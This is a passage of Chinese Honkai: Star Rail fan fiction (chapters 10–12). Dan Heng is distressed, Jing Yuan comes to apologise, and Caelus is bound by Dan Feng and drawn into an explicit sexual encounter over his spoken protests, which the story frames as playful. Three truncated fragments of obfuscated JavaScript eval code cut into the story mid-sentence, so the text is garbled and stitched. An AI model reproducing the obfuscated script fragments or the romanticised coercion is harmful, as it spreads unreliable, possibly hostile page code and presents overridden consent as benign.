“没关系的,他们进来之前跟我保证过,绝对不会到处乱说。而且刚刚还有位小姑娘接走刃的时候,也跟我保证过了,说是他们有个人能用言灵清除别人的记忆。” 丹恒无慈悲的转过视线, 他说:“……所以星核猎手也知道了?” 丹枫眨眨眼:“嗯?”他的眼神仿佛在问,有什么关系?都是成年人了,做了这种事情很奇怪吗? 于是,他又摇摇头说:“放心,那个叫卡芙卡的星核猎手没来……” 丹恒终于裂开了。 他脸色惨白,腿一软,差点就这么摔到在地。 丹枫下意识的伸手,把人扶住了,避免自己的后世给他结结实实地磕一个。 龙尊大人可舍不得。 揽住对方纤细的腰肢后,第一时间去给人把了个脉。 然后蹙眉不展,看了看青年的脸色后,神情凝重的说道。 “……还好,并不是纵欲过度……” 10. 将军喜事将近啊 粉色头发的少女担忧的看了一眼从智库走出来的灰色头发的青年,她凑上前,漂亮的眼睛里带着急切:“穹!怎么样?丹恒老师还好吗?” 一头灰色短发的男生摇摇头,金色的眼瞳里满是无奈,他沮丧着脸,眉头也皱着,看着三月七唉声叹气的说:“不行三月,丹恒他还是那个样子,一动不动的缩在房间里,都不肯跟我说话,更别说出门了。也不知道到底是怎么一回事,为什么出门一趟,就自闭成这样了?我想要找个人问问情况……” “你要问谁啊?嗯……景元将军吗?我记得丹恒老师好像那天就是去的罗浮吧,问景元将军应该可以知道点什么。” “道理是这个道理,可我总觉得自己不应该去罗浮,一想到要去罗浮,心里就会冒出来一种说不出来的感觉,很强烈。”穹揉了揉自己的头发,不知道如何解释那种虚无缥缈的第六感。 “啊?那你就别去了吧,万一有什么事呢,你看丹恒老师都变成这样了,我怕你去了也会变这样。穹,有时候要相信自己的直觉。还有别的人选可以问吗?” 穹抱起手臂,摸了摸下巴:“……” 三月七也一筹莫展,两个人对视一眼,又双双叹了一口气。 “……怎么办?” “要不我去问问卡芙卡?”穹摊摊手说道,“其实那天丹恒回来之前,卡芙卡就给我发了一个消息,说得云里雾里的,跟谜语人似的听不懂。我总结归纳了一下,大概就是发生了一些意料之外的事情,希望我好好安抚一下某些人。我本以为是银狼,再或者可能是刃,现在想来,是一直以来表现都很正常的丹恒才对。” “是啊,丹恒老师那天回来时的表情,把我实在是吓到了,我这些天一直担心他想不开去做一些不好的事情。” 三月七忽然拽住灰发男生的胳膊,“我们去找出真相吧,不能再让丹恒老师这么消沉下去了。” 穹眨眨眼,然后点点头,神情坚毅,他大声的回应道:“好!一定让丹恒重新振作起来!我这就去找卡芙卡!” 智库紧闭的门突然被打开,脸色很是憔悴的青年抬起青灰色的眼睛,眼尾的红都好像暗淡了下来,面对自己的两个伙伴,他闭了闭眼,声音艰涩低沉的说:“穹,别去……别去找卡芙卡。我没事的,三月还有穹,我只是需要稍微调整一下就好了,请放心,我不会倒下的。” 穹和三月七对视一眼,都看得出自己眼中的担心,但既然本人都这么说了,两人也只好压下担忧的情绪,点点头答应下来。 “好哦,丹恒老师。你要照顾好自己啊,有什么问题,咱随时都可以过来帮忙的!姬子阿姨还有杨叔也在,绝不会让谁欺负了咱们的丹恒老师!” 粉发女生握紧拳头,挥了挥说道。 穹也郑重的点头。 “我也是,丹恒,我们还要一起去更多的地方,开拓更多的世界呢。” 丹恒听了伙伴的安慰,感觉自己心力交瘁的心灵被引入了一股暖流,他振作了精神,抿抿唇,深吸口气说:“嗯,我知道的。” “谢谢你们。” 见状,对面的两人顿时笑开。 “嘿嘿,这就见外了啊。” “那就这样吧,我们也不打扰你休息了,请一定要注意身体啊。丹恒老师再见!” 丹恒点点头:“嗯,我会的,再见小三月,还有穹。” —— 穹和三月七告别了丹恒以后,来到了观景车厢,两个人躲在角落里小声嘀嘀咕咕。 “我还是放心不下,打算去查一下情况。”这是穹。 三月七眨巴眨巴眼睛,她好像想了一下又好像什么也没有想,过了一会儿,才说道:“那你还要去找卡芙卡吗?” 已经拿出手机在叭叭打字的人抽空回答她,“很遗憾,卡芙卡好像是去出任务了,其他星核猎手也不在,根本联系不上。” 三月七:“那你打算怎么办?” 穹:“只能去罗浮,问问景元将军了。” 三月七:“景元将军也很忙的吧,你怎么确定自己能找到人?” 穹:“彦卿才给我发了个图,里面是在长乐天小店排队买零嘴的景元将军。我现在赶过去,应该正好能碰到将军。” 三月七:“好!你去吧。注意安全哦!要不要我也跟着?” 穹摇摇头:“你要在这里待着,看着丹恒。三月……丹恒老师的安危就交给你了!”他拍拍少女的肩膀,郑重其事的说着。 三月七点头,眼神坚毅,信誓旦旦的回应道:“放心好了,咱还是很值得信赖的,保证这段时间不会有任何人能打扰到丹恒老师!” “嗯嗯!那我就走了,记得保持联络。” “好。” 穹通过界域定锚踏上了仙舟罗浮,并且直奔长乐天的神策府而去。 —— 在穹离开不久,一位意料之中又意料之外的人登上了星穹列车。 白发的将军带着温和的笑,跟杨叔你来我往的聊了好一会儿,直到最后,男人这才唇角轻抿,面上似有惭愧的说出自己的真实目的。 “……不知丹恒近来如何?”男人眉头轻蹙,似乎有点踌躇不决。 “说实话,不太好……”瓦.尔特杨推了推自己的眼镜,面色严肃的回他,“我们并不知那天丹恒在罗浮发生了什么……他回来以后,就在智库一直闭门不出到现在。景元将军如果方便的话,还请告知原由……我们都很担心他。” 景元苦笑一声,这个事情的因果关系还真不好解释。 虽然大部分事情都是由那位至今还在自己那里的前世饮月君造成的,但自己也不是完全没有错。谁让自己和丹枫同流合污,把人给逗得炸毛了呢。现在这个情况,苦果只能自己吃。 嗯,只有自己来收拾摊子。 因为丹枫并不觉得自己有做错什么,你情我愿的事情,又有什么不对?哦,你说丹恒不愿意?但丹枫觉得,他看着不像啊? 再加上丹枫在现世,有许多未探明的限制,为了罗浮的安定,景元已经与他约定好了,暂时老实待在自己的住处,等着如今的太卜司大人符玄找明缘由,把人送回去。 七百年前的饮月君,可不能长久停留在现世。 丹枫他本人也不乐意如此,景元知晓,丹枫实在厌烦被困顿于小小一处院落,且他连下人的许多言论都无法听见,书籍也是,有些书干脆就是空白一片,冥冥之中有一股力量在限制着他得知后世的消息。 尽管这里有长大后的景元将军,有自己重返年轻的挚友,也有可爱的后世,可对丹枫来说,依旧不足以让他停留。 他是注定属于过去的人。 龙尊心里很清楚。 而景元,他也很明白。 所以才会稍微放纵了点。 而现在,就是他来收拾自己任性后果的时候了。 作为成年人的瓦.尔特杨当然不会咄咄逼人,眼见这位罗浮的将军面露为难,便主动后退了一步。 “是我多言了,如果不方便说也无妨,丹恒就在这扇门之后,将军可以试试与他交谈。我和姬子都希望丹恒能好转过来。希望将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说着,突然顿了一下,然后左右看了一下,这才凑过来跟穹小声说,“我看你投缘,大家又都是爱戴将军大人的,我这里就分享你一个关于将军大人的秘密,也可以看作是一件天大的喜事。” 穹本来还想问景元的踪迹,没料到这位店主突然洋洋洒洒说了一大堆,还神神秘秘的要跟他说秘密。 老板看起来很高兴的样子。他想了想,并没有打断老板的话。 穹没有忘记,自己本来就是为了调查丹恒的事情,才过来的,而丹恒上罗浮不可能不去拜访景元。而这个在景元住处附近的“八百年”老店,平时来来往往,说不定还真知道一些什么东西。 于是,他又凑近了一点,只听到那位店主嘿嘿嘿笑了几声,用一种欣慰的语气说道。 “说不定要不了多久,将军大人可能就要有喜事了。七百多年了,不容易啊……” 穹头顶冒出问号。 “啊?” “将军有喜事?” “嗯!千真万确!这可是我亲眼所见!将军大人最近天天捧着各种吃食回了住处,脸上表情也很开心的样子。更重要的就是——” 穹伸长了脖子。 ——更重要的是什么?你快说啊。 那位店主忽然声音激动起来,尽管他自己尽力压抑了,但穹看他那副模样,真的有点怕这人一不小心因为情绪太激动,而魔阴身了。他可是说自己开了八百年的店了,好家伙,比景元年纪都大的老人家了,可不能多激动啊,穹无不担忧的想。 “你快看,回头看!就是那边府邸门口的那位,真的是那位大人啊,真是太好了……终于回来了……” 穹不理解老板的心情。 他只是随意地跟着手指的方向转过头,却看见了一个不应该在这里出现的人。 “……丹恒!?!” 11. 沉迷rua龙无法自拔 清俊的年轻人坐在智库的地上,背靠着厚厚的叠好的纸质书籍,他纤长而有力的手指握着笔,低着头却很久没有动过了。 丹恒垂下眼帘,长长的睫毛在白如玉的皮肤上搭下阴影,他看着前方出神的盯着那些地面上的浮光游影。这个房间的地板是透明的,只要低下头,就能看见那层波光粼粼的青色,就像是夜晚的海水在潮汐的影响下,波荡起伏,神秘而宁静。 景元走进来的时候,一眼就看见了曲起腿正呆愣愣看着笔记本的丹恒。 他看起来无精打采,焉巴巴的,有点像自己以前亲手种下的那颗枫树。景元记得,当时的枫树就连枝条都开始枯萎,叶片泛黄,明眼人都看得出来,它快死了。景元领了元帅军令出军的时候,他路过了那棵树,有一片枫叶掉落下来,悠悠荡荡地落在他的脚下,但他没有停留,头也不回地离开了罗浮,前往域外的战场。 可没想到回来以后,那颗本以为已经死亡的树,不但挺了过来,甚至变得更高大挺拔了。 ——它活过来了。 真是个奇迹。 景元相信丹恒,这个孩子很坚强,以前如此,现在亦是如此,相信他能调理好自己。 不过,作为年长者的自己,也要学会不再放任自流。以前是身不由己的局外之人,现在再当观众路人就不合适了。 男人走上前,微微顿了一下,然后一掀衣摆,他单膝触地的半跪下来,抬起头,金色的眼睛里神情柔和的平视青年的青灰色眼眸。 “丹恒。”景元轻轻的呼唤着青年的名字,从那次的承诺以后,景元再也没有喊过他丹枫,你若是问将军大人究竟有没有把两个人区别开来,可能只会得到一个没有意义的笑脸,和一句我不知道。 男人克制着自己和对方的距离,他叹息一声,说道:“我是来向你道歉的,丹恒……” 短发的年轻人眼睫颤了颤,他掀起眼皮,漂亮的眼睛里倒映出景元眼眸的一点金色。那颜色好似融入了其中,混合成了一种青金色泽,沉淀着,美丽而神秘。 “将军……不必为此道歉。”丹恒摇摇头,他只是稍微有一点点累了,休息一下,放空大脑,过一段时间就好了。若不是怕穹他们担心,甚至想要去深海里沉眠一段时间,什么也不想,什么也不做的睡一觉,好好的睡一觉。 可惜,他不能这样做。 “我从未怪过将军。”就算之前有一些羞赧恼怒的情绪,那也只是一时冲动,丹恒抿了抿唇,“这不该你来向我道歉,反而我才是应该来找你请罪的那个。” “丹恒,你我之间什么时候这般生疏了?前几日的事情,归根结底是我任性了,以至于让丹恒你心绪难平到如今,这不是我的错又是何人的呢?”景元叹了一口气,不怪他才是麻烦,因为那意味着这人觉得是自己的错。 “只希望丹恒莫要因此而疏远景某才好。” “……”青年闭了闭眼,想说什么,又发觉自己的言语实在匮乏,只好移开视线,生硬的提起另一个关心的话题。 “将军,我那日心绪大乱后慌张离开,未能小心隐藏行迹,不知……罗浮之上可有流言蜚语传出?”丹恒神情认真的看着景元,他道,“将军一生磊落,尽管在罗浮我已是无罪之身,但——还是尽量与我少有联系为好。丹恒唯恐有不怀好意之人,会借此攻讦将军行为不端。” 景元听了,反而神色古怪了一瞬。他嘴角动了动,似乎很想说什么,又忍住了。如果丹恒担忧的是这种事情,那就大可不必了。毕竟,罗浮的风气还是颇为开放,景元光是看见自己的同人话本子都有许多了,什么类型的都有,禁都禁不完,也没有必要禁。因为那些话本子都是用相似的名字来指代他们,大家懂得都懂,不懂得就不懂,当个解闷的故事也就看了。 别说丹恒提起的那天事宜,其实早在丹枫和景元走在一起的时候,《凤求凤·新编》都已经在连载了。现在几天过去,估摸着又更新了好多吧。 景元想,抛开真实的主人公问题,写得还是挺好的,文笔上佳,剧情跌宕起伏,感情千回百转,令人看得欲罢不能,更重要的是,作者承诺这次是真的大圆满结局,不像上次那样,双死既为he,欺骗了多少读者的眼泪啊。 丹恒察觉景元神情有异,他马上皱眉的问道:“可是流言泛滥,太过棘手?需要我出面澄清吗?” 景元见人一脸紧张担心的模样,没忍住笑了笑,男人眼眸弯弯的看起来心情很好,瞅着人还瞪着眼睛眼巴巴的看着他,忽然抬起手,rua了一把青年的头。黑色的发丝柔软蓬松拂过指间,手感很好,于是他又多揉了几把。 丹恒有点愣神,“……将军?” 却看见白发的将军大笑一声,随后身边挨了个温热的身体,是景元坐了过来。 “丹恒,我觉得丹枫他确实没有说错。” 他还真是可爱…… “……” 年轻人不明所以,满头雾水,便只好沉默。他往旁边挪了一下,给景元让了让位置,好教人将军大人不至于坐在冰冷的地板上,能坐上自己的床铺,也好让自己跟人拉开距离。现在这个状态,也显得太亲密了些,丹恒有些心慌。 不料,丹恒往里挪了挪,景元便也神态自若的跟着往里面过去,直到两人重新挨着,丹恒无路可走的贴着智库那整整的一面墙,面带无奈。 “将军……”他喊了一声,提醒景元,别再往里面挤了,他没有地方可以去了。 这位将军金瞳熔熔,因为是私下拜访列车,并未着甲胄,而是一身朴素低调的白袍,配上那俊美出色的容颜,还真是风采夺目。此刻,他正微微笑着,听到丹恒的问题,只是故作无辜的姿态歪了歪头,整个人却纹丝不动。 丹恒微微移开目光,不再打量景元。 反而是挨着自己的景元突然提起一个并没有什么关联的问题。 “丹恒,我既是私人来拜访于你,怎么还称呼我为将军呢?这样未免太过正式了,不好不好。你叫我景元就行了。” 丹恒沉默了。 但看在景元坚定的眼神上,丹恒抿抿唇,还是开口轻声喊了一声,“景元。” “嗯,这才对。”景元听了后,笑开,又随手摸了摸他的头,把那柔软的头发都揉乱了,翘起几根倔强的呆毛。 丹恒偏过头,躲开男人的手,不想去理会那个有点得寸进尺的人,却也没有多说什么,他想摸就摸吧。 满足了这个小心愿以后,景元也没有再做什么举动,他曲起一条长腿,右手搁在膝盖上,感受着身边清浅的呼吸,阖了阖眼,感受这难得的平静安宁。嗯,好像有点困倦了,想休息会儿了。 丹恒重新拿起自己身边的笔记本,握着笔,在上面写写画画,开始记录一些之前就应该做好的资料数据。 笔尖和纸张接触的沙沙响声莫名的催眠,不多时,丹恒感觉肩上一沉,是景元,他闭着眼睛,头向自己这边歪靠着肩膀,白发擦过自己的脸颊,有点痒。 男人似乎很困倦,他靠着丹恒睡得正熟,往日里醒着时候总是微微上翘的嘴角,这个时候反而拉平了,只是淡淡的抿着,教人看不出他的喜怒。眉头轻皱着,好像就连睡梦之中,也在忧思着什么东西一样。 丹恒看得有点怔神,呆呆的看了一会儿后,青年下意识的抬起手,想给景元抹平那眉心的一道细微折痕,刚要触碰上去,手腕被抓住了。 他看过去,本来熟睡的景元不知何时已经醒来,眼底没有一丝惺忪的睡意,男人金色眼眸亮晶晶的,仿佛他一直都是这么警惕着,此刻看着丹恒的神色带着一种莫名情绪。 “丹恒……”他轻轻喊着,清朗的声音温柔如水,就像是缠绕在心间的羽毛,丝丝缕缕,搔动人心。 丹恒平稳的呼吸忽然顿了顿,他屏住了呼吸,然后微微抬起下巴,不闪不避的同样回看过去。 一种两个人之间的默契秘之不宣,在这方小小的天地升腾。 景元挑挑眉,他勾起唇,倾身压过去,两人的距离一点点缩短,同时抓握住青年白皙纤巧的手腕将之压在脑侧,他正要亲过去…… 碰!轰! “丹恒老师!!!呜呜呜,不好了!不好了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一边的景元静静的听完以后,面色从苦笑慢慢变成了痛苦的模样。 他和丹恒对视了一眼,确认两人估计想到一起去了。 向来游刃有余的神策将军苦恼地揉了揉额角,他问丹恒。 “你说,如果是穹遇见一个跟丹恒你长得一模一样的人时,他会怎么做?” 丹恒:…… 他不知道,也不想知道…… 青年愣愣地打开手机,看了一下时间,然后颓然的放下了。 过去这么久了,要是发生了什么,早就拦不住了…… “丹恒,抱歉……”景元抚上丹恒的肩膀。 “景元,你没必要说这个。这不是你的错,只是刚好错过了。”丹恒摇摇头,他站起身,眼神沉了沉,“现在还是先去看一下,是不是真的如我们所想的那样。” “嗯,正该如此。” 景元也跟着站起来,两人一块赶往罗浮,去找那个意料之外的人。 —— 时间倒回几个系统时前。 “……丹恒?” “欸?不对!” 灰发的青年诧异的眨眨眼,又揉揉眼睛,不太敢置信,自己的好兄弟之前还在智库自闭的奄奄一息,现在就突然现身罗浮,还是景元将军的府邸? 此事定有蹊跷! 所以他现在要不要悄悄的跟过去,去看看那个到底是不是丹恒,探明真相?青年脑子里的想法转了一圈,然后他毅然决然的选择了跟上去…… 为了丹恒老师……我拼了! 穹点点头,为自己的想法感到赞同。 于是,他英勇的上了,再然后……就什么也不知道了。 再次睁开眼,他看见一双修长的腿正在自己面前翘着,顺着长腿往上,和丹恒本相一般模样的人正微微垂着青色剔透的眼眸上下打量他,耳边的流苏坠子殷红似血。 那张俊美至极的面容上,神色冷淡如万载不化的玄冰,男人伸出完全包裹进黑色手套的修长手指,勾起穹的下巴,声音清冽似雪。 “来,告诉我,你是谁?” ——好冷淡一个人,又好美的一个人。 穹当时满脑子只有这个想法。 12. 强迫持明龙尊犯法吗 “来,告诉我,你是谁?” 青丝如瀑的男人垂着眼,微微低头看他,眼尾的赤色绝艳,眉宇之间却尽是冷淡漠然。头上的碧青龙角就像是玉石一样好看,不过,跟丹恒本相的龙角好像不太一样,少了一圈金色的纹路。 穹突然有了一点莫名的觉悟——自己怎么会觉得眼前的男人会是丹恒啊,眼花,纯属眼花。 不过在此之前,他先要想一想如何在几个回答之中,解答面前人的问题。 重新诞生记忆尚且短暂的星核精本想下意识抬手摸摸自己的头,但苦于自己被水绳束缚在身后的手实在完成不了这种高难度动作,无奈选择放弃。 他金色偏暗沉的眼睛转了转,颇为帅气的脸严肃了下来,给了对面一个比较特别的答案。 “在下——银河球棒侠是也。” 丹枫:“?” 穹可以明显感觉到对方愣了愣,他好奇的看过去,想要看看这个跟丹恒一模一样的脸上会有什么样的表情和反应。 有点小期待和小兴奋,毕竟丹恒从来没这么臭着一张脸看他们,而眼前这个人简直是把冷漠如冰和傲气十足诠释到了极点。 这个人倒是更符合那些话本小说里不朽龙尊的形象。穹有点形容不出来,反正就是感觉,感觉! 从头到脚都看着像。 所以这是谁? 穹的脑瓜子里这个问题转悠了许久。 他想到,便也问了出来。 “那你又是谁?说起来你可能不信,你和我的一个朋友长得可真像。” 男人没有说话,只是用那双漂亮剔透的绿色瞳孔盯着穹,神色不动:“……” 丹枫在听到那个银河球棒侠的称号时,向来波澜不惊的脸色都有一丝丝凝滞起来,男人抿了一下唇角,微微上扬了一丝弧度,青色透彻的眸子里升腾起一丝兴味,又听见那个人一点也不怕生的反问他,更是觉得颇为有趣。 龙尊收回自己的手,好整以暇的坐回榻上,一枚黑白相间的珠子从掌心升起,那是持明的重宝——重渊珠。珠子被他手一抬,丢上了半空,一缕缕的流水刹那间便聚而来,将这处院落包围起来,他布下了一个屏障,从现在开始,这里轻易不得进出。 等做完这些以后,一身白衣的男人才把目光停注过来。 他打算好好和这个可爱的,嗯,银河球棒侠……玩一玩,以解这段时间的无趣时光。 即使是景元常抽空来陪他,但作为一个七百年前的旧影,无人能知,丹枫本人在如今时空所面对的“桎梏”——当然,没有讨厌的龙师来找麻烦,也算一大优点了。 “好,我知道了。”龙微微笑开,他说:“那么请好好的记住我的名讳,等会儿——可千万别叫错了。”他慢慢的压低了尾音,语调优雅而危险。 “丹枫,记住了,我叫丹枫。” —— “那个啥,等、等一下!” 常识都有些缺乏的星核精等到了床上时,才后知后觉的反应过来这件事情的严重性,他一手捂着屁股,一只手扯着自己的裤子,表情有些惊慌失措。 眼见着对面根本不打算听他的,圆溜溜的眼里更是焦急起来。 “等一下,我说等一下!” 他大声的喊着,但这里没有其他人,只有一个疑似丹恒前世的家伙,性格非常恶劣,意图对他的屁.股不轨,馋他身子! 穹后悔,非常后悔。 早知道自己就应该听从第六感的预警,不该来罗浮的。 这里有怪人…… 但他想了想,可是丹恒那边还在等着自己去帮忙把人从自闭中拖出来呢,怎么可能知难而退啊! 他可是大名鼎鼎的开拓者! 丹枫停下动作,带着黑色手套的手指撩了撩自己脸侧滑落的发丝,挽到耳后,那红色流苏的坠子被动作拂过,晃晃悠悠的极其夺人视线。 穹看向那一抹稀少的艳色,鲜艳的红衬着白玉似的肌肤,如血液一般融入进男人本身的沉郁和漠然之中,让他反而多了一丝蛊惑人心的魅力。 该说不说,丹恒老师的脸真好看,年轻人被这绝俗的样貌吸引的目不转睛,他迷迷糊糊的想到。 然后脸颊被温凉的手指捏住,有清冽的声音响起。 “喜欢这张脸?” 穹诚实且老实的点点头。 丹恒的本相真的很帅,他可喜欢了。还是龙,可以变成飞在云端,行云布雨的苍龙,强大又美丽的生物,谁都会喜欢的,他也不例外。 什么时候丹恒能给他摸摸尾巴,还有龙角就好了。 穹心里有点可惜,丹恒对于自己的本相有心结,他作为好兄弟,当然不能这么轻易的向对方开口。 至于眼前这位? 唉……那更是有点不知死活了。 龙尊似笑非笑地睨了一眼不老实的年轻人,明明看着他,却心里想着别人。不过他并不计较这个,因为丹枫也很喜欢那张脸在自己后世身上,尤其是面对自己,浮现出因他而出的各种神态,真有趣啊。 奇怪,这算是自恋吗? 就算是,好像也没有什么关系,喜爱自己的后世,难道不是理所当然吗? 男人眼波流转,碧瞳就像古海波浪起伏的水,带着无人捉摸透彻的神秘与危险,偏生冷冽如冰。 “我忽然明白,之前在鳞渊境听见的那句话的含义了。”灰发的年轻人一眨不眨的盯着龙,想起了当时自己跟着丹恒,一起去见如今罗浮持明的尊长白露小姐时的场景。 那位上一任丹士长的蜃影见到丹恒的时候说了一句话,穹还记得清楚。“为什么您一语不发?大人,您还是像过去一样清冷孤独,就像是方壶仙舟上万载不化的玄冰。” 排除一些不太正常的举动,眼前人在穹现在的心里实在是符合那清冷如冰的形容词。或者说就算这个人在做这种事情,他看起来依旧矜贵优雅,神色淡然自若。 身上的绳索又收紧了几分,勒得有些疼了。有一句仙舟古话说得好——识时务者为俊杰。偶尔,在面对不可抗之敌时,该软就得软,做什么也别跟自己的身体过不去。 于是,穹选择了华丽丽的投降。 “好吧,好吧,你来,随便来,我投降了,保证不反抗。”不就是屁股吗?送了送了,把这个人当丹恒好兄弟,就是了,反正他们长得一样。 “还有……大哥,我还是个孩子,到时候能不能轻点!” 水绳被松开,穹一时间坐起来,开始了他的“求饶”大举,势必要将抽象贯彻到底。 年轻人颤巍巍地抓住龙尊绣着鹤纹的衣摆,瞪大眼睛,力图让自己看起来足够的楚楚可怜,在对上视线后,还猛地眨了眨眼。 好像在装可怜,不太确定,再看一眼。 “……” 丹枫闭了一下眼,沉默着把自己的衣袖抽了出来。 突然就清心寡欲了起来。 怎么办? 突然好像有点做不下去了。 小恒现在的朋友都是这样的吗?那还挺能锻炼人,丹枫心想。 无名客,是白珩最想要碰见的存在,小恒倒是遇见了,运气真好。 但确实不想做了,有种欺负小孩子的错觉。 龙尊大人掰着年轻人的脸蛋,左右看了看,这般好的皮相,还拥有一个有趣又抽象的灵魂,算了……和他聊聊天解闷吧。 免得小恒找过来,又要用那种怀疑指责的的目光看着自己,导致好感度又往下掉,本来也剩得不多了。 后世比找解闷重要。 龙尊大人脸色平静的直起身,看了一下天色,心里的天平默默地往不做继续偏了偏,景元有可能会来找自己,到时候说不定就更不好玩了。 于是他忽然站起身,一甩衣袖,打算走人。 结果猝不及防被人一把抱住了腰,硬扯着拽到了床上。 “你要走?”灰发金瞳的青年反客为主的把人压在了身下,目光灼灼地看着他,抬手擦了一下不知何时从额头冒出来的细汗。 好热,为什么突然感觉自己就仿佛小火人一样,快燃起来了? 龙尊大人手冰冰凉,想多贴贴。 他整个人看起来也很凉快的样子,贴贴手的面积不太够。 有了—— 脑海中的“小灯泡”亮起。 穹不知道自己现在怎么了,但他只觉得眼前这个人仿佛一块散发着寒气的冰块,不抱上去,绝对是极大的损失。 于是他双手拉住衣服的下摆,向上抻直脱掉了上衣,随手扔在了一边,姿态极为潇洒,继续说道,“……我好热啊,你可不能走……” 让我抱抱“冰块”,嗯,还是个漂亮的大冰块! 丹枫还是第一次被人主动反压在床上,墨发散在柔软的被单上面,他看着上方的青年,青瞳微微一缩。 “这是……万界之癌?”他不太确定的伸出一只没有被压制的手,修长的手指轻轻搭上了青年手腕,一缕青芒游移进去。 过了一会儿,丹枫收回了自己的手,蹙眉沉思。 穹偏偏头,不太明白的样子。 “啊?” 真的好热,浑身都仿佛燃烧起来了,有火焰在血液里奔腾,叫嚣着释.放,很难受。而自己抱着的人,浑身冰冰凉的,他贴着舒服,不能放走。 穹愤愤不平,果然他的直觉真准,他要热炸了吗? 丹恒的前世应该不会被自己体内的星核炸死吧?要是真没了,丹恒会找自己麻烦吗? 不,不对,体内的星核炸了,自己也没了呢。 不需要担心丹恒老师的问题了。 穹胡思乱想着有的没得,有些念头甚至他自己都没有发觉,直接在脑子里乱成一锅粥,让穹都不知道他在干什么。 是没有见过的个例,一个活蹦乱跳的,容纳万界之癌还看起来如此健康的家伙。 丹枫觉得若不是时候不对,他现在更想把人提着去丹鼎司,好好研究一番。前提是,那股神秘的力量,不会屏蔽自己的认知。 可惜,现在时机真的不合适。 也不知是什么缘由,激发了穹体内的星核,让他变成了这个模样,若是丹枫不出手平复下来,可能罗浮之上又多要出一点点小乱子了。 丹枫既见不得无辜的人死在自己面前,也不会放任灾祸去给那已经维持罗浮安宁七百余年的景元增添更多麻烦。 龙尊大人想通事件只在一念之间,他伸出手按住了青年冒出热汗的后颈,把人按在了自己的怀中,热到滚烫的脸颊贴着自己的肩膀,他挣脱了控制,打算做完自己最开始想要做的事情。 啧,万界之癌所衍化的症状,宛如服用了某些壮.阳益血的猛虎之药,还真是有趣啊。 要不还是把他抓去丹鼎司吧? —— “你现在有点热情过了头……” 丹枫还在扯自己的腰带,对方已经按耐不住的在他身上啃来啃去,细细碎碎地咬着,像小动物,不算轻也不重,更多的感觉是黏.糊还有痒得慌。 “可是我好热……” 穹觉得自己真的要热爆炸了,他再次为自己不相信第六感的预警而后悔了几秒。在迷迷糊糊之中,青年心想,自己不会真的要炸掉了吧,因为这种事情而星核失控,自己真是太倒霉了。 难受,想哭…… 他带点泄愤的咬了一口丹枫颜色浅淡的唇瓣。 嘴角的薄皮经不住这个力道,登时便冒出血珠来,穹舔了舔,又吮吸了一口,下一秒他转过头呸了呸,给吐了。 一股子铁锈味,不好吃。 丹枫的眼瞳颜色转了深,他表情被阴影覆盖了大半,叫人看不真切,房间中一种无形的压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然穹的个子不如之前两位高挑,身体也不如他们壮实,可他也有自己的优点所在,比如那双长得很不错的长腿。景元和刃都没有如穹一般有一双绵软而丰润的腿。 景元虽然长得个子高,实则身材修长,该有肉的地方有肉,并不怎么壮实,看起来好大一只,大半功劳都要归功于那头蓬松发丝极多的白发,还有那身威严的将军制服。至于刃,他的腿不如胸肌好捏,浑身上下大多数肌肉都是明显而结实,配上那张锋锐的容貌,会给人一种野性难驯的美感。 而穹身上肌肉纤薄许多,但大腿倒是比较丰盈,捏起来软乎乎的,手感上佳。 穹晕晕乎乎的,之前已经声音沙哑,现在只能低低的啜泣一声,任由丹枫搓圆捏扁的操弄。 丹枫抬手抹了一下穹的眼角,然后用指腹磨了磨,将眼尾带出红痕来,看着对方用潮.红的脸蹭自己的手心,勾起唇笑了笑,神情微微松动。 这次的事情,丹枫没这底下这个年轻人那样纯享受着,大部分心神还是放在了“万界之癌”的情况上,毕竟他要说到做到。景元如今都和他一般年纪了,每天殚精竭虑的处理事务,都不容易,不会给他额外添加麻烦的。 时间差不多了,龙尊大人估摸着再过不久,有可能忙碌的将军景元就会回来,便动作更快了几分。 “你果然是安静点,就更可爱了。”丹枫勾起侧着头艰难喘息的人,让他抬起头和自己亲吻。 本来蔫哒哒的人,却在和人亲吻时,显得极为主动,因为星核的影响,他格外的喜欢那种肢体接触,越亲密的越好。 最好是和他融为一体,再也不分彼此。 划重点,物理意义上的合为一体。 这体现在,刚开始的时候,青年显得极有攻击性,要不是本来就被丹枫给抓住控制,这家伙高低都想在自己身上咬几个洞出来。 好在龙尊大人对此精力旺盛又“活泼好动”的人,如何治理很有经验。刃的魔阴身都没能让他避退,更不用说,这位“银河球棒侠”所做出的一些无伤大雅行为。 穹不担心这个,他体内的星核力量在丹枫梳理完之前,会有无数的精力来挥霍。 随着时间的延长,刚想着自己能无限“火力”的人“倒下”了。 要不是被丹枫捞着,穹早就要贴到床上去了。一直到丹枫松开了手,他才彻底瘫软下去,脑子里一片空白,气息都不稳了。 “啊……哈啊、哈、哈啊……呜——” 穹死死地咬着唇,但陌生又很舒服的感觉依旧如电流一般流淌过全身,让他大脑发麻,生理性的眼泪几乎流了满脸。 涣散的视线里,是龙尊那张依旧昳丽好看的脸,穹看见丹枫微微翘起唇角,眉梢眼角都透着轻松的气息,就连周身沉郁冰冷的气场都散开了许多。 丹枫低下头,伸出皮肤细腻的手指给人抹了抹眼泪,然后熟练的使出云吟术法,将人洗了个透。 他的云吟术法在这方面的操作越来越得心应手了,真是出乎意料。 也不知道那群龙师若是知道了,会气死几个呢? 丹枫漫不经心地想,差点把自己给逗笑了。 青年的体温降下来了,那股万界之癌的波动也重新隐藏了起来。他看起来又只是一个普普通通的短生种模样了,除了长得挺帅气的以外。 丹枫用白如玉的手指捏了捏年轻人的脸,看他龇牙咧嘴,一点也害怕自己的模样,颇为有趣。 穹慢慢翻个白眼,躺在床上一动不能动,仿佛自己只剩下大脑了一样。 丹枫不理会这些无关紧要的小举动,他摸了摸青年已经恢复清爽的柔软灰色短发,一本正经的对他说。 “这位银河球棒侠,你知道强迫持明族的龙尊做这种事,会犯了罗浮什么罪名吗?” 